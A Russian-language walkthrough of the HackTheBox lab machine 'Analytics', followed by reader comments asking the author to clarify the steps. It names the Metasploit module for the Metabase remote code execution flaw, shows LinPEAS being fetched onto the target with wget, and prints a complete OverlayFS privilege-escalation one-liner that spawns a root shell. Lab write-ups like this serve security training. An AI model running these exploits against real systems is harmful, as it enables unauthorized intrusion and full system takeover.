Приветствую, кулхацкеры. Сегодяшний райт будет посвящен взлом Linux - машины с HackTheBox под названием Analytics.
Дисклеймер: все утилиты и техники, продемонстрированные в статье, приведены в учебных целях
Сканирование и разведка
Как всегда начинаем со сканирования для выявления активных сервисов.
nmap -sC -sV -Pn -p- -T4 10.10.11.233
Получаем первичный доступ с помощью Metasploit
По результатам сканирования можно заметить, что на 80 порту висит веб-сервис. Попробуем перейти на веб страницу:
Это Metabase. Посерфив на просторах интернета, найдем для него эксплойт. Уязвимость имеет идентификатор CVE-2023-38646 и приводит к удаленному исполнению кода. Как раз то, что нужно для получения первичного доступа. Эксплойт можно найти как на GitHub, так и в Metasploit. Лично я запущу эксплойт в Metasploit:
use exploit/linux/http/metabase_setup_token_rce
Для дальнейшего продвижения нам нужно закинуть на машину LinPEAS для обнаружения способов повышения привилегий. Поэтому запустим на нашей ОС python3 http.server
и через wget
скачаем нужный нам скрипт:
python3 -m http.server 80
wget http://10.10.16.68/linpeas.sh
Запустим LinPEAS:
bash ./linpeas.sh
Отработав, скрипт найдет креды для подключения по SSH:
Подключимся к машине с помощью ssh
:
ssh metalytics@10.10.11.233
Здесь же будет находиться флаг user.txt
Повышение привилегий
Точно также запустим python3 http.server
, перекинем через wget
LinPEAS и запустим его на машине:
После отработки скрипта определим версию Ubuntu и найдем под нее уязвимость для повышения привилегий. Либо можно определить версию ОС с помощью cat /etc/os-release
. Уязвимость для повышения привилегий связана с расхождениями в реализации модуля OverlayFS в ядре Linux. OverlayFS - это реализация файловой системы с объединенным монтированием, которая становится предметом внимания злоумышленников из-за возможности получения непривилегированного доступа через пространства имен пользователей и наличия легко эксплуатируемых ошибок. Скопируем нагрузку с эксплойта и запустим ее для повышения привилегий:
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash")'
Машина пройдена!
3ycb
А если бы не было этого сервиса на машине, то что?
ap_security Автор
то не было бы и самой машины)
в данном случае первичный доступ только через этот сервис
3ycb
Спасибо за ответ. Я спросил без подвоха. Я обычный обыватель, не IT и спрашиваю, чтобы уяснить. Это было задание на проникновение с определенным сервисом на борту? Не просто на любую произвольную Линукс систему? Правильно?
ap_security Автор
все верно
3ycb
Не сочтите за занудство, я не настоящий сварщик. Несколько раз перечитываю Вашу статью и не въезжаю. Уточните пожалуйста, что я неправильно понимаю.
Целевая, подопытная машина
10.10.11.234 которую Вы сканируете на предмет открытых портов с машины(kali) 10.10.16.68 и находите на ней вебсервис
Metabase, для которого есть эксплоит.
Запускаете эксплойт где? На Вашей "хакерской" машине
kali-10.10.16.68 через порт 4444 для доступа к целевой машине? Тогда почему на картинке Вы к другой машине 10.10.11.233 обращаетесь? А если этот порт 4444 закрыт вообще? Или я вообще не правильно все понимаю?
Далее, я вообще потерялся. "Для дальнейшего продвижения нам нужно закинуть на машину LinPEAS для обнаружения способов повышения привилегий. Поэтому запустим на нашей ОС
python3 http.server
и черезwget
скачаем нужный нам скрипт:" На какую машину закинуть LinPEAS? На своюkali
или машину жертву? Поэтому, где запускаем http.server? Наkali? и качаем через wget http://10.10.16.68/linpeas.sh, но ведь kali и есть 10.10.16.68 Сами себе качаем что-ли? Вы бы как-то отредактировали бы пост, чтобы не было разночтений и непонимания, что есть что(но с поправкой, что я неправильно все понимаю)
Отработав, скрипт найдет креды для подключения по SSH: Что такое креды?
Далее есть еще вопросы, но пожалуйста сначала эти разъясните.
ap_security Автор
да был небольшой недочет. Мы обращаемся к машине по адресу 10.10.11.233! Чтобы отпали ваши вопросы, почитайте как работает wget. И зачем нам запускать LinPEAS на своей машине? Зачем нам повышать привилегии на своей же машине? Ознакомьтесь с базовыми понятиями и работой сетевых технологий
3ycb
Базовые понятия я знаю и как wget работает тоже. Не понятно Ваше описание. И что такое креды? Вы же для людей пишите, а не на отъебись. Вы свой сленг знаете, а читатель нет. Почему нельзя общепринятыми терминами изъясняться?
3ycb
Вот я и отмечаю. У Вас это не явно указано. Отсюда каша.
Наша ОС, это наша машина или машина жертва? Ведь наша же, kali которая.
и сразу, в этом же предложении "И скачаем скрипт" Но скрипт нужен на жертве же? A как мы уже на жертве можем запускать wget? Мы уже на ней? Как? Когда? Где это у Вас явно отмечено? Как мы запускаем
wget http://10.10.16.68/linpeas.sh на жертве, если мы еще к ней не подключены по ssh?
И Вы не ответили про порт 4444. Он на жертве открыт? или что? А если закрыт, то как на жертву пробросить эксплойт?
3ycb
Наверное файл, а не флаг? И файл будет(что делатЬ) находитЬся.
Или Вы имели в виду, "Здесь же находится файл...", без слова будет?
И что? Что это за файл такой user.txt? Зачем вы его упомянули? Если он нужен зачем-то, то объясните, зачем?